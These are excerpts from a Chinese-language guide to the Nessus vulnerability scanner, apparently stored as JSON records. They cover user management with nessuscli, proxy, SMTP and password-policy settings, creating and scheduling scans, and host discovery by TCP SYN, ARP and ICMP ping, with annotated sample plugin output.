    {"text": "未知 3.2.3 用户管理（6.x系列） 用户管理是Nessus额外提供的一种功能。在一个大型企业环境中，或使用Nessus的人数比较多时，对用户进行管理是非常必要的。当在这种情况下使用Nessus扫描时，管理员可以为多个扫描用户设置不同的安全级别。 Nessus提供了两种用户角色，分别是Administrator（管理员）和Standard（普通用户）。其中，Administrator角色的用户可以访问Nessus中的所有功能；Standard角色的用户对部分功能是受限制的，如软件更新、用户管理及高级设置等。下面将介绍对Nessus中用户管理的方法。 1.新建用户 在Nessus的设置界面选择Users选项，将显示如图3.54所示的界面。 图3.54 账户设置界面 在图3.54所示界面中单击右上角的New User按钮，将显示如图3.55所示的界面。 图3.55 新建用户 在图3.55所示界面中有5个配置选项，分别是Username（用户名）、Full Name（全名）、Email（邮件地址）、Password（密码）和Role（角色）。其中，用户名和密码是必需配置项，其他选项可以不设置。Role对应的下拉列表框中有两个选项，分别是Standard和System Administrator。其中，Standard选项表示创建的用户为普通用户；System Administrator选项表示创建的用户为管理员用户。然后单击Save按钮，将看到如图3.56所示的界面。 图3.56 用户界面 从图3.56所示界面可以看到成功创建了名为user的用户，类型为Standard。 2.删除用户 当Nessus扫描不需要某用户时，即可将该用户删除。具体方法如下： （1）打开用户界面，如图3.56所示。 （2）在该界面中选择要删除的用户，然后单击用户名右侧的 （错号）图标即可删除用户。或者选中用户名前面的复选框，此时在搜索框的左侧将会出现一个Delete按钮，如图3.57所示。单击Delete按钮，将弹出如图3.58所示的对话框。 图3.57 删除用户 图3.58 确认删除用户 图3.58所示对话框提示是否确定要删除该用户。如果确认删除，则单击Delete按钮，即可成功删除该用户。 3.修改已存在用户的角色 在用户界面单击要修改角色的用户，即可改变用户的角色。例如，在用户界面单击user用户后，将显示如图3.59所示的界面。 图3.59 编辑用户界面 从图3.59所示界面可以看到user用户的角色为Standard。这里单击Role下拉列表框后面的小三角，即可选择要修改为的角色，这里修改为System Administrator角色，如图3.60所示。 此时，用户角色已成功修改。接下来需要单击Save按钮保存设置，否则设置无效。 4.修改用户密码 用户密码也是在用户设置界面修改的。同样，单击想要修改密码的用户，如图3.61所示。 图3.60 修改用户角色 图3.61 修改密码 在New Password文本框中输入要重新设置的新密码，然后单击Save按钮，即可成功修改该用户密码。"},
    {"text": "未知 3.2.4 用户管理（8.x系列） 在Nessus 8.x系列中，用户管理图形界面设置被移除了。如果想要进行用户管理，可以使用nessuscli命令来实现。下面将介绍Nessus 8.x系列中用户管理的方式。 1.查看已有用户 在进行用户管理时，需要先查看当前已有的用户，以确定要进行的操作。查看已有用户的语法格式如下： nessuscli lsuser 【实例3-5】 查看Nessus服务中的已有用户。执行命令如下： root@daxueba:~# /opt/nessus/sbin/nessuscli lsuser admin 从输出信息可以看到，当前Nessus服务中只有一个用户，其用户名为admin。 2.添加新用户 在Nessus服务中，管理员用户拥有最高权限，可以进行任何操作。如果想要临时使用一个Nessus用户来访问该服务，可以创建一个普通用户。其中，添加新用户的语法格式如下： nessuscli adduser [username] 【实例3-6】 添加一个名为test的普通用户。执行命令如下： root@daxueba:~# /opt/nessus/sbin/nessuscli adduser test Login password: #设置登录密码 Login password (again): #再次输入登录密码 Do you want this user to be a Nessus 'system administrator' user (can upload plugins, etc.)? (y/n) [n]: n 设置密码后，将提示是否创建该用户为Nessus的系统管理员用户。这里将创建一个普通用户，所以输入n，将显示如下用户规则信息： User rules ---------- nessusd has a rules system which allows you to restrict the hosts that test has the right to test. For instance, you may want him to be able to scan his own host only. Please see the Nessus Command Line Reference for the rules syntax Enter the rules for this user, and enter a BLANK LINE once you are done : (the user can have an empty rules set) 此时，要求为该用户设置规则，即允许或拒绝访问哪些主机。当然，也可以不添加任何规则。这里输入一个空行提交用户信息，此时显示如下： Login : test Password : *********** Is that ok? (y/n) [n]: y #是否创建该用户，输入“y” User added 从输出的最后一行信息可以看到，成功添加了用户。 提示： 从Nessus 8.4.0开始，无法使用nessuscli命令创建用户，提示许可协议不允许创建用户。其中，提示信息如下： Your license does not allow you to create more than one user 3.修改用户密码 如果忘记密码或者想要重新为Nessus用户设置密码时，可以修改其密码。修改用户密码的语法格式如下： nessuscli chpasswd [username] 【实例3-7】 修改test用户的密码。执行命令如下： root@daxueba:~# /opt/nessus/sbin/nessuscli chpasswd test New password: New password (again): Password changed for test 从输出的最后一行信息可以看到，test用户密码修改成功。 4.删除用户 当不需要某个Nessus用户时，可以将其删除。删除用户的语法格式如下： nessuscli rmuser [username] 【实例3-8】 删除test用户。执行命令如下： root@daxueba:~# /opt/nessus/sbin/nessuscli rmuser test User removed 从输出的信息可以看到，test用户已被删除。 未知 3.2.5 通信设置 这里的通信设置指的是设置选项中的Proxy Server和SMTP Server。下面分别介绍这两种服务的设置方式。 1.Proxy服务 Proxy（代理）服务用于转发HTTP请求。如果网络组织需要时，Nessus将使用该设置实现插件更新，并与远程扫描者进行通信。下面将介绍Proxy服务的设置方法。 在设置界面选择Proxy Server选项，将显示如图3.62所示的界面。 图3.62 Proxy Server设置界面 从图3.62所示界面可以看到，这里共有6个选项，但只有Host和Port字段是必需的。Username、Password、Auth Method和User-Agent 4个字段是可选的。下面将分别介绍每个选项的含义。 ·Host：代理服务器的主机名或IP地址。 ·Port：代理服务器连接的端口号。 ·Username：代理服务器连接的用户名。 ·Password：代理服务器连接的用户的密码。 ·Auth Method：设置认证方法。 ·User-Agent：如果代理服务器使用指定HTTP用户代理过滤器，则设置该选项。 2.SMTP服务 SMTP（Simple Mail Transfer Protocol，简单邮件传输协议）是用于发送和接收邮件的标准。一旦配置了SMTP服务，Nessus会将扫描结果通过邮件的形式发送到Email Notifications选项指定的收件人。其中，SMTP服务的设置界面如图3.63所示。 下面将对SMTP服务设置界面的每个选项进行详细介绍。 ·Host：SMTP服务的主机名或IP地址。 ·Port：用于连接SMTP服务的端口号。 ·From(sender email)：发送扫描报告的邮件地址。 ·Encryption：使用哪种加密方式加密邮件内容。Nessus提供了三种方式，分别是Force SSL、Force TLS和Use TLS if available。默认方式为不使用加密，即No Encryption。 图3.63 SMTP服务设置界面 ·Hostname(for email links)：Nessus服务的主机名或IP地址。 ·Auth Method：SMTP服务认证方法。Nessus支持了5种认证方法，分别是NONE、PLAIN、LOGIN、NTLM和CRAM-MD5。默认选择为没有使用认证方法，即NONE。 ·Username：用于认证SMTP服务的用户名。 ·Password：用于认证SMTP服务用户对应的密码。 提示： 在SMTP服务设置界面，如果Auth Method的设置为NONE，即没有使用任何认证方法，将不会出现Username和Password字段。"},
    {"text": "未知 3.2.6 安全策略 安全策略可以用来保护扫描报告等数据安全，不被泄露。下面将介绍设置安全策略的方法。 1.使用主密码 在Nessus服务中提供了一个主密码功能。通过设置主密码，可以对扫描策略、扫描任务结果及配置进行加密，以确保信息不会被泄露。一旦Nessus服务被重新启动，就需要输入主密码。下面将介绍设置主密码的方法。 【实例3-9】 设置主密码。具体操作步骤如下： （1）在Nessus的主界面单击Settings选项，并选择Master Password选项卡，将显示主密码设置界面，如图3.64所示。 图3.64 设置主密码 （2）在图3.64所示界面中的New Password文本框中设置一个主密码，单击Save按钮保存设置。然后重新启动Nessus服务，再次登录该服务时将提示输入主密码，如图3.65所示。 （3）在该界面中输入前面设置的主密码，并单击Unlock按钮，将显示Nessus的登录界面，如图3.66所示。 图3.65 输入主密码解锁 图3.66 登录Nessus服务 （4）在图3.66所示界面中输入Nessus服务的登录用户名和密码，并单击Sign In按钮，即可成功登录到Nessus服务。 2.使用密码策略 通过设置密码策略，可以设置一个非常强壮的密码。如果用户设置一个简单的密码，则很容易被人猜到或破解出来。为了使数据更安全，可以使用密码策略。下面将介绍密码策略的设置。 【实例3-10】 使用密码策略。具体操作步骤如下： （1）在设置界面的左侧栏中选择Password Mgmt选项，将显示如图3.67所示的界面。 图3.67 密码管理界面 （2）在图3.67所示界面中可以启用密码复杂度、设置会话超时、最大登录尝试次数、最小密码长度和登录通知。其中，默认会话超时值为30分钟；最大登录尝试次数为5；最小密码长度为8。如果要使用密码策略，则需要先启用密码复杂度。单击Password Complexity右侧的按钮 ，即可启用密码复杂度，如图3.68所示。然后，用户就可以设置会话超时值、最大登录尝试次数和最小密码长度。另外，还可以通过单击Login Notifications右侧的按钮 来启用登录通知。当启用登录通知后，可以看到最后登录成功的用户和登录失败的用户（包括日期、时间和IP）等。 图3.68 使用密码策略 （3）此时，则表示启用了密码策略。而且，设置会话超时值为20分钟；最大登录尝试次数为3；最小密码长度为10。接下来，用户就可以设置复杂的密码了。 3.加密数据 在Nessus中的高级设置中提供了加密数据功能，可以对Nessus生成的数据一律进行加密。其中，加密数据属于安全设置。所以，在高级设置页面选择Security选项卡，将显示如图3.69所示的界面。 从该界面可以看到所有的安全设置选项。其中，用于设置加密数据的选项为Cipher Files on Disk。从该界面可以看到，默认值为Yes，表示对Nessus生成的文件一律进行加密。如果想要修改该设置，则单击Cipher Files on Disk配置项，将弹出如图3.70所示的对话框。 图3.69 安全设置 图3.70 修改设置 如果用户不希望加密数据，修改Value值为No，然后单击Save按钮保存设置。为了安全起见，这里建议使用默认设置，即对所有数据进行加密。 未知 1.1 漏洞扫描概述 漏洞泛指目标系统存在的各种缺陷。漏洞扫描就是验证目标系统可能存在的缺陷。一旦发现漏洞，就可以有效地对目标主机实施攻击，证明漏洞的危害性。本节将介绍漏洞的扫描方式和扫描流程。"},
    {"text": "未知 3.2.7 性能监控 在Nessus中提供了一个性能监控功能，可以用来查看扫描器占用的系统资源。通过对系统性能实施监控，可以避免因为资源不够，而影响扫描任务的完成。下面将介绍性能监控功能。 【实例3-11】 实施性能监控。具体操作步骤如下： （1）在Nessus的主界面选择Settings|Scanner Health选项，将显示性能监控界面，如图3.71所示。 图3.71 性能监控 提示： 由于无法截取到整个页面，所以图3.71只显示了部分信息。 （2）在图3.71所示界面中共包括三个选项卡，分别是Overview（概述）、Network（网络性能）和Alerts（警报）。其中，在Overview选项卡中，显示了扫描器所有的性能，包括网络性能和警报。从该界面可以看到当前的性能监控（CURRENT HEALTH）、系统内存（SYSTEM MEMORY）、NESSUS数据磁盘空间（NESSUS DATA DISK SPACE）和扫描者警告信息（SCANNER ALERTS）等。而且，这里默认显示的是过去24小时的性能监控。用户还可以设置为显示最近的时间段，如过去1小时、过去3小时、过去6小时等。单击Past 24 hours右侧的小三角按钮，将显示下拉列表，如图3.72所示。 图3.72 选择监控的时间 （3）从图3.72所示列表中，可以选择监控的时间段。另外，用户可以看到NESSUS工具占用的系统资源，包括内存大小、CPU加载率、数据占用空间、扫描的主机数。如果想要查看网络监控性能，选择Network选项卡，将显示如图3.73所示的界面。 图3.73 网络性能 （4）在图3.73所示界面中包括扫描历史记录（SCANNING HISTORY）、网络连接数（NETWORK CONNECTIONS）、网络流量（NETWORK TRAFFIC）、DNS查询数（NUMBER OF DNS LOOKUPS）和DNS查询时间（DNS LOOKUP TIME）。由于无法截取到整个页面，这里只显示了部分内容。如果用户想要查看警报信息，则选择Alerts选项卡，将显示如图3.74所示的界面。 图3.74 警报信息 （5）从图3.74所示界面可以看到，有两个扫描警报。此时，用户单击任意一个警报，即可查看其详细信息，如图3.75所示。 图3.75 警报详细信息 （6）从图3.75所示界面可以看到，提示建议使用的CPU内核数最小为4。其中，当前系统的CPU内核数为2。 未知 3.3 扫描任务概述 扫描任务用来指定扫描的目标主机及扫描插件等，然后对其实施扫描。本节将介绍扫描任务相关的概念，如创建扫描任务、配置扫描任务等。 未知 3.3.1 扫描任务模板 在Nessus中，默认提供了22个扫描任务模板，可以用来实现不同的扫描任务。下面将介绍Nessus自带的扫描任务模板。 【实例3-12】 选择扫描任务模板。具体操作步骤如下： （1）登录Nessus服务，将显示扫描任务列表界面，如图3.76所示。 图3.76 扫描任务列表 （2）从图3.76所示界面可以看到，默认没有创建任何扫描任务。单击右上角的New Scan按钮，将显示扫描任务模板界面，如图3.77所示。 图3.77 扫描任务模板 （3）图3.77所示界面显示了默认的所有扫描模板，并且将这些模板分成了三类，分别是发现（DISCOVERY）、漏洞（VULNERABILITIES）和合规性（COMPLIANCE）。其中，每个模板都有简单介绍。模板右上角有“UPGRADE”字条的模板，表示家庭版的Nessus工具不可使用。接下来，用户即可选择任意一个模板来创建扫描任务。 未知 3.3.2 创建扫描任务 当用户了解了所有的扫描任务模板后，即可选择其模板创建对应的扫描任务。在Nessus的扫描任务模板中，提供了一个通用模板Advanced Scan，可以自定义创建扫描任务。下面将介绍使用该模板创建扫描任务的方法。 在扫描任务模板界面单击通用模板Advanced Scan，将显示该模板的设置界面，如图3.78所示。 在该界面中包括5个设置选项，分别是Name、Description、Folder、Targets和Upload Targets。其中，Name用来指定扫描任务的名称；Description用来指定描述信息；Folder用来指定扫描任务的文件夹；Targets用来指定扫描目标；Upload Targets用来指定模板文件。例如，指定扫描任务名称为Network Scan，目标地址为192.168.1.1，则配置信息如图3.79所示。 图3.78 模板设置界面 图3.79 配置扫描任务 单击Save按钮，即可成功创建扫描任务，如图3.80所示。 图3.80 扫描任务创建成功 从图3.80所示界面可以看到，成功创建了名为Network Scan的扫描任务。"},
    {"text": "未知 3.3.3 指定主机 在Nessus中，用户可以指定单一目标主机或多个连续主机，也可以使用掩码方式批量指定。下面将介绍指定主机的几种方式及设置方法。 1.单一目标 单一目标表示单独的一个主机地址。其中，用户可以使用IP地址或主机名的方式来指定单个目标。例如，目标主机192.168.1.100，则表示一个单独的主机。用户也可以指定多个单独主机，主机之间使用逗号分隔。例如，设置目标主机为192.168.1.10、192.168.1.20和192.168.1.25，则输入格式为“192.168.1.10,192.168.1.20,192.168.1.25”。 2.连续主机 当用户在设置目标主机时，也可以指定多个连续主机。其中，使用连字符分隔。例如，枚举192.168.1.1到192.168.1.5之间的所有主机，则输入的地址格式为“192.168.1.1-192.168.1.5”。 3.掩码方式 用户还可以使用掩码方式设置目标主机。使用掩码方式可以设置一个网段的主机作为目标。例如，枚举192.168.1.0网段的主机，则输入的地址格式为“192.168.1.0/24”。 当用户了解清楚指定主机的几种方式后，即可设置目标主机。在Nessus中，可以使用两种方法来指定目标主机，分别是使用模板中的Targets文本框和Upload Targets设置。其中，Targets文本框设置方法如图3.81所示。 图3.81 使用文本框指定目标主机 如果用户想要使用Upload Targets设置目标主机，首先需要将目标主机地址写入到一个文件中。例如，这里创建一个名为hosts.txt文件，指定目标主机地址为192.168.1.1和192.168.1.3。在扫描任务配置界面，单击Add File选项，将弹出文件打开对话框，如图3.82所示。 图3.82 文件打开对话框 在图3.82所示对话框中，选择hosts.txt文件，并单击“打开”按钮，将显示如图3.83所示的界面。 从该界面可以看到，成功加载了目标主机文件hosts.txt。 图3.83 成功加载了目标主机文件 未知 3.3.4 计划执行 用户在创建扫描任务时，还可以指定扫描任务的执行时间。下面将介绍计划执行的方法。 在创建扫描任务界面，单击Schedule选项，将显示计划执行设置界面，如图3.84所示。 图3.84 计划执行设置 从图3.84所示界面可以看到，默认没有启动计划执行功能。单击启动按钮 ，即可启动计划执行功能，如图3.85所示。 图3.85 成功启动计划执行功能 在该界面中包括4个选项，分别是Frequency、Starts、Timezone和Summary。其中，Frequency用来设置执行频率，可指定的值有Once（仅一次）、Daily（每日一次）、Weekly（每周一次）、Monthly（每月一次）和Yearly（每年一次）；Starts用来设置开始时间；Timezone用来指定时区；Summary显示了计划执行的摘要信息。用户根据自己的需要，设置计划执行的频率及时间。设置完成后，单击Save按钮使配置生效。 如果用户想要为创建好的扫描任务设置计划执行，则需要打开扫描任务的配置界面。在扫描任务列表中，选择要修改配置的扫描任务，将显示扫描任务结果界面，如图3.86所示。 图3.86 扫描任务结果 单击右上角的Configure按钮，将打开扫描任务编辑界面，如图3.87所示。 图3.87 编辑扫描任务 在BASIC部分单击Schedule选项，即可启用并设置计划执行功能。 未知 3.3.5 邮件通知 Nessus还提供了一个邮件通知功能，可以用来接收扫描结果。在扫描任务配置界面的BASIC部分，单击Notifications选项，将打开邮件通知配置界面，如图3.88所示。 图3.88 邮件通知配置界面 在图3.88所示界面中包括两个配置项，分别是Email Recipient(s)和Result Filters。其中，Email Recipient(s)用来指定邮件接收地址，如 ******@163.com ；Result Filters用来指定接收过滤器文件。设置完成后，单击Save按钮使配置生效。 提示： 如果用户想要启用邮件通知，则必需配置SMTP服务。 未知 3.3.6 设置扫描结果 用户可以对扫描结果进行设置，如处理方式和输出。下面将介绍设置扫描结果的方法。在扫描任务配置界面，单击REPORT选项，将显示扫描结果设置界面，如图3.89所示。 图3.89 扫描结果设置界面 从图3.89所示界面可以看到，包括Processing和Output两部分。其中，Processing用来设置扫描结果处理方式；Output用来设置输出。首先介绍Processing部分的配置项及含义。 ·Override normal verbosity：该选项表示是否启用覆盖模式，显示更详细的信息。如果磁盘空间有限，将尽可能在报告中提供较少信息，否则会导致磁盘空间不足。当报告的信息尽可能多时，将会提供有关插件的详细信息。 ·Show missing patched that have been superseded：该选项表示是否启用显示缺少的被替代的修补程序。该选项允许用户配置Nessus，要包括或在扫描包括中删除被取代的修补程序信息。 ·Hide results from plugins initiated as a dependency：该选项表示是否启用隐藏依赖插件启动的结果。如果启用该选项，则在报告中将不会出现依赖项列表。 再来介绍Output部分的配置项及含义。 ·Allow users to edit scan results：该选项表示是否允许用户编辑扫描结果。 ·Designate hosts by their DNS name：该选项表示是否显示主机的DNS名称。 ·Display hosts that respond to ping：该选项表示是否显示响应ping的主机。 ·Display unreachable hosts：该选项表示是否显示不可达的主机。 在kindle搜索B089Y82SSX可直接购买阅读"},
    {"text": "未知 第4章 主机发现 主机发现就是通过对网络进行扫描，以找出活动的主机。Nessus工具提供了非常直观的图形界面，而且支持不同类型的主机发现，如Host enumeration（枚举主机）、OS Identification（操作系统识别）、Port scan(common ports)（通用端口扫描）和Port scan(all ports)（所有端口扫描）等。本章将分别介绍使用这4种扫描类型实施主机发现。 未知 4.1 枚举主机 枚举主机就是探测网络中活动的主机。如果要对目标主机实施漏洞扫描，则前提是需要确定该主机是否活动。如果目标主机不在线，则无法扫描到任何漏洞信息。本节将介绍枚举主机的方法。 未知 1.1.1 漏洞扫描方式 漏洞扫描是指使用漏洞扫描程序对目标系统进行信息查询。一般情况下，主要使用两种方式来检查目标主机是否存在漏洞，分别是漏洞库的匹配和插件/功能模块技术。下面将介绍这两种漏洞扫描方式。 1.漏洞库的匹配 通过远程检测目标主机TCP/IP不同端口的服务，记录目标主机给予的回答，从而收集目标主机的各种信息。然后，将这些相关信息与网络漏洞扫描系统提供的漏洞库进行匹配，查看是否有满足匹配条件的漏洞存在。 2.插件/功能模块技术 通过模拟黑客的攻击方法，对目标主机系统进行攻击性的安全漏洞扫描，如测试弱口令漏洞等。如果模拟攻击成功，则说明目标主机系统存在安全漏洞。"},
    {"text": "未知 4.1.1 扫描方式 扫描方式就是使用哪种方式来枚举主机。在Nessus中，主要使用TCP、ARP和ICMP Ping扫描方式来枚举主机。下面将分别介绍这三种扫描方式的工作原理。 1.TCP方式 TCP（Transmission Control Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP主要通过三次握手，与目标主机建立连接，具体工作流程如图4.1所示。 下面是TCP三次握手的具体步骤。 （1）第一次握手，客户端向服务器端发送连接请求包SYN，请求建立连接。 （2）第二次握手，服务器端收到客户端连接请求包，然后向客户端发送确认自己收到其连接请求的确认包ACK和连接询问请求包SYN。 （3）第三次握手，客户端收到服务器端的ACK和SYN后，向服务器端发送连接建立的确认包ACK，服务器端收到后就建立连接，开始进行数据传送。 在Nessus中，主要使用的是TCP SYN扫描。TCP SYN扫描也称为半开放扫描，因为这种扫描方式不会与目标主机建立完整的连接，即完整的三次握手。TCP SYN扫描的工作原理如图4.2所示。 图4.1 TCP的三次握手 图4.2 TCP SYN扫描的工作原理 在该过程中，源主机通过向目标主机发送一个TCP SYN（SYN+端口号）包，请求建立连接。如果目标主机响应一个TCP SYN/ACK包，则说明目标主机正在监听扫描的端口。然后，源主机将向目标主机发送一个RST包替代ACK包，则连接终止。如果目标主机响应一个TCP RST包，则说明目标端口关闭。使用这种扫描方式扫描速度非常快，而且不会被目标主机留下记录。如果没有收到这两类包，说明主机没有开启。如果防火墙过滤这些端口，也会造成无法正确判断。 Nessus使用TCP扫描方式枚举主机时，主要探测的TCP端口如表4.1所示。 表4.1 枚举主机的TCP端口 2.ARP方式 ARP（Address Resolution Protocol，地址解析协议）是根据IP地址获取物理地址的一个TCP/IP协议，其工作原理如图4.3所示。 ARP协议的具体工作流程如下： （1）当主机PC1和PC2进行通信时，首先根据主机PC1上的路由表内容，确定用于访问主机PC2的转发IP地址是192.168.1.20。然后，主机PC1在自己的本地ARP缓存表中检查PC2的匹配MAC地址。 图4.3 ARP协议的工作原理 （2）如果主机PC1在ARP缓存中没有找到映射，它将询问192.168.1.20的硬件地址，从而将ARP请求帧广播到本地网络中的所有主机。源主机PC1的IP地址和MAC地址都包括在ARP请求中。本地网络中的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配，它将丢弃ARP请求。 （3）主机PC2确定ARP请求中的IP地址与自己的IP地址匹配，则将主机PC1的IP地址和MAC地址映射添加到本地ARP缓存中。 （4）主机PC2将包含其MAC地址的ARP回复消息直接发送回主机PC1。 （5）当主机PC1收到从主机PC2发来的ARP回复消息时，会用主机PC2的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的，生存期结束后，将再次重复该过程。主机PC2的MAC地址一旦确定，主机PC1就能向主机PC2发送IP通信了。 在Nessus中，如果目标主机和Nessus所在主机在同一个局域网中，则会自动使用ARP扫描方式。ARP扫描是通过向远程主机发送ARP广播请求来实现主机发现的。如果收到远程主机的响应，则说明该主机在线；否则，说明该主机不在线。使用这种扫描方式，由于发送的是广播包，所以可能被恶意用户实施欺骗，从而造成ARP攻击。 3.ICMP方式 ICMP（Internet Control Message Protocol，Internet控制报文协议）是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP协议的工作原理如图4.4所示。 图4.4 ICMP协议的工作原理 ICMP协议的具体工作流程如下： （1）主机PC1通过向主机PC2发送一个ICMP Echo请求包，来探测与主机PC2是否互通。 （2）当主机PC2收到主机PC1发送的请求，并返回ICMP Echo响应包的话，则说明它们之间互通。如果返回其他错误的响应包，则说明不通。 在Nessus中，ICMP扫描方式就是通过向远程主机发送ICMP Echo请求来实现主机发现的。如果收到ICMP Echo响应，则说明该主机在线；否则，说明该主机不在线。由于ICMP协议是通过IP协议发送的，而IP协议是一种无连接的、不可靠的数据包协议，所以使用这种方式扫描时，无法确定数据包是否成功发送给了目标。但是，使用这种扫描方式扫描速度非常快。另外，如果防火墙限制响应ICMP包，也会导致扫描失败。"},
    {"text": "未知 4.1.2 建立扫描任务 当对目标地址的设置及扫描方式了解清楚后，就可以在Nessus中建立扫描任务来枚举主机。下面将介绍使用扫描模板Host Discovery来枚举主机的方法。 【实例4-1】 通过枚举主机的方式实现主机发现。具体操作步骤如下： （1）登录Nessus服务。登录成功后，将打开如图4.5所示的界面。 图4.5 扫描任务界面 （2）单击扫描任务界面右上角的New Scan按钮，创建扫描任务，如图4.6所示。 （3）在图4.6所示的界面中显示了默认的所有扫描模板，并且将这些模板分为三类，分别是发现（DISCOVERY）、漏洞（VULNERABILITIES）和合规性（COMPLIANCE）。本例中实施枚举主机，所以选择Host Discovery扫描任务模板。单击该模板，显示如图4.7所示的界面。 图4.6 扫描模板 图4.7 配置扫描任务 （4）在配置扫描任务界面可以设置扫描任务的名称（Name）、描述信息（Description）、文件夹（Folder）、目标（Targets）及上传目标（Upload Targets）。其中，扫描任务名称可以设置为任意字符串；描述信息是对扫描的一个简要介绍，可以不用设置；文件夹是用来指定扫描任务所保存的文件夹，默认只有My Scan和Trash两个文件夹，用户也可以手动创建文件夹；目标可以指定单个、多个主机或一个网段的主机，这里可以使用IP地址，也可以使用域名；上传目标就是用户可以手动创建一个主机地址列表，然后单击Add File选项指定手动创建的地址列表文件。设置完成后，单击左侧栏中的DISCOVERY选项，将显示如图4.8所示的界面。 图4.8 设置扫描类型 （5）在“Scan Type”下拉列表中选择扫描类型为Host enumeration，然后单击Save按钮，将显示如图4.9所示的界面。 图4.9 新建的扫描任务 （6）从图4.9所示界面中可以看到新创建的扫描任务。单击 按钮，即可开始对指定目标进行扫描，如图4.10所示。 （7）从该界面中可以看到新建的扫描任务Host enumeration正在扫描指定的目标。如果想要暂停或停止扫描，单击 或 按钮即可。扫描完成后，显示结果如图4.11所示。 图4.10 正在扫描 图4.11 扫描完成 未知 4.2 分析结果 当扫描完成后，即可对扫描结果进行分析。对于一个主机发现扫描结果，包括主机列表、漏洞列表和漏洞详情三部分。本节将分别对这三部分进行详细分析。 未知 4.2.1 主机列表 当用户扫描完成后，打开扫描任务将看到扫描出的活动主机列表，如图4.12所示。 图4.12 主机列表 注意： 如果探测的目标都没有开启，则不会显示扫描报告。 从主机列表界面显示的结果中，可以看到共扫描到4台主机，并且在Host列中可以看到每台主机的IP地址，例如192.168.91.254、192.168.91.130、192.168.91.128等。可以单击任何一台主机查看扫描的详细列表。 未知 4.2.2 漏洞列表 单击主机列表中的主机地址，即可看到对应主机的漏洞列表。例如，查看主机192.168.91.1中的漏洞列表，如图4.13所示。 图4.13 漏洞列表 从显示结果可以看到，主机192.168.91.1有两条漏洞信息，名称分别为Nessus Scan Information和Ping the remote host。其中，Nessus Scan Information信息用来说明扫描任务详情；Ping the remote host信息用来说明枚举主机结果。从Sev列可以看到，当前主机的两条漏洞信息的安全级别都为INFO（详细信息）。由此可以说明，该主机中没有严重的漏洞。接下来，单击漏洞列表中的漏洞名称，即可查看该漏洞的详细信息。"},
    {"text": "未知 4.2.3 扫描任务详情 在漏洞列表中，单击漏洞名称Nessus Scan Information，即可查看扫描任务详情，具体如下： Info Nessus Scan Information #漏洞级别及漏洞名称 Description #描述信息 This plugin displays, for each tested host, information about the scan itself : - The version of the plugin set. #插件集版本 - The type of scanner (Nessus or Nessus Home). #扫描者类型 - The version of the Nessus Engine. #Nessus Engine版本 - The port scanner(s) used. #端口扫描 - The port range scanned. #扫描端口范围 - Whether credentialed or third-party patch management checks are possible. - The date of the scan. #扫描时间 - The duration of the scan. #扫描持续时间 - The number of hosts scanned in parallel. #扫描主机并行最大数 - The number of checks done in parallel. #扫描完成并行最大检测数 Output #输出信息 Information about this scan : #扫描详细信息 Nessus version : 8.7.1 #Nessus版本 Plugin feed version : 201905271142 #插件源版本 Scanner edition used : Nessus Home #扫描使用的Nessus版本 Scan type : Normal #扫描类型 Scan policy used : Host Discovery #使用的扫描策略 Scanner IP : 192.168.91.1 #扫描者的IP地址 WARNING : No port scanner was enabled during the scan. This may lead to incomplete results. #警告 Port range : default #端口范围 Thorough tests : no #彻底测试 Experimental tests : no #试验测试 Paranoia level : 1 #猜测级别 Report verbosity : 1 #报告冗余 Safe checks : yes #安全检测 Optimize the test : yes #优化测试 Credentialed checks : no #证书检测 Patch management checks : None #补丁管理检测 CGI scanning : disabled #CGI扫描 Web application tests : disabled #Web应用测试 Max hosts : 256 #最大主机数 Max checks : 5 #最大检测数 Recv timeout : 5 #接收超时值 Backports : None #返回端口 Allow post-scan editing: Yes #是否允许编辑扫描端口 Scan Start Date : 2019/6/26 10:53 CST #扫描起始时间 Scan duration : 19 sec #扫描时间 more... #更多 Port Hosts #端口和主机地址 N/A 192.168.1.1 从描述信息中可以看到Nessus Scan Information插件测试的主机信息，如插件集版本、扫描者类型和Nessus引擎版本等。从输出信息中，可以看到Nessus的版本为8.7.1，扫描使用的Nessus版本为Nessus Home（家庭版），使用的扫描策略模板为Host Discovery，扫描者的IP地址为192.168.91.1等。 未知 4.2.4 漏洞详情 在漏洞列表中，可以看到每个主机包括的漏洞列表。此时，在漏洞列表中单击某漏洞名称，即可查看该漏洞的详细信息。例如，查看名称为Ping the remote host的漏洞详细信息如下： Info Ping the remote host #漏洞名称 Description #描述信息 Nessus was able to determine if the remote host is alive using one or more of the following ping types : - An ARP ping, provided the host is on the local subnet and Nessus is running over Ethernet. #ARP Ping扫描 - An ICMP ping. #ICMP Ping扫描 #TCP Ping扫描 - A TCP ping, in which the plugin sends to the remote host a packet with the flag SYN, and the host will reply with a RST or a SYN/ACK. - A UDP ping (e.g., DNS, RPC, and NTP). #UDP Ping扫描 Output #输出信息 The remote host is up #远程主机是活动的 #远程主机响应了ICMP Echo包 The remote host replied to an ICMP echo packet. Port Hosts N/A 192.168.91.1 以上输出显示了Ping the remote host漏洞的详细信息，包括漏洞的描述信息、输出结果及端口信息。从描述信息中，可以看到Ping the remote host插件用来判断远程主机是否是活动的。从输出信息中，可以看到远程主机是活动的（up）。其中，输出的包信息为远程主机响应了一个ICMP Echo包。由此可以说明，这里是通过ICMP Ping扫描方式识别主机的。 在Nessus中，识别主机的先后顺序是ARP、ICMP和TCP。如果使用一种扫描方式识别出结果，就不会显示其他两种方式的输出结果。所以，基于不同方式扫描出来的输出结果不同。下面分别介绍这三种扫描方式的输出结果。 （1）通过ARP扫描识别目标主机的输出结果如下： Output #输出信息 The remote host is up #远程主机是活动的 #目标主机响应了一个ARP who-is查询 The host replied to an ARP who-is query. Hardware address : 00:0c:29:50:dd:c9 #响应的硬件地址 从输出结果可以看到，目标主机响应了Nessus的ARP请求，进而确定目标主机是活动的。 （2）通过ICMP扫描识别目标主机的输出结果如下： Output #输出信息 The remote host is up #远程主机是活动的 #远程主机响应了ICMP Echo包 The remote host replied to an ICMP echo packet. 从输出结果可以看到，目标主机响应了Nessus的ICMP Echo请求包，进而确定目标主机是活动的。 （3）通过TCP SYN扫描识别目标主机的输出结果如下： Output #输出信息 The remote host is up #远程主机是活动的 The remote host replied to a TCP SYN packet sent to port 80 with a SYN,ACK packet #使用SYN/ACK包响应了TCP SYN请求 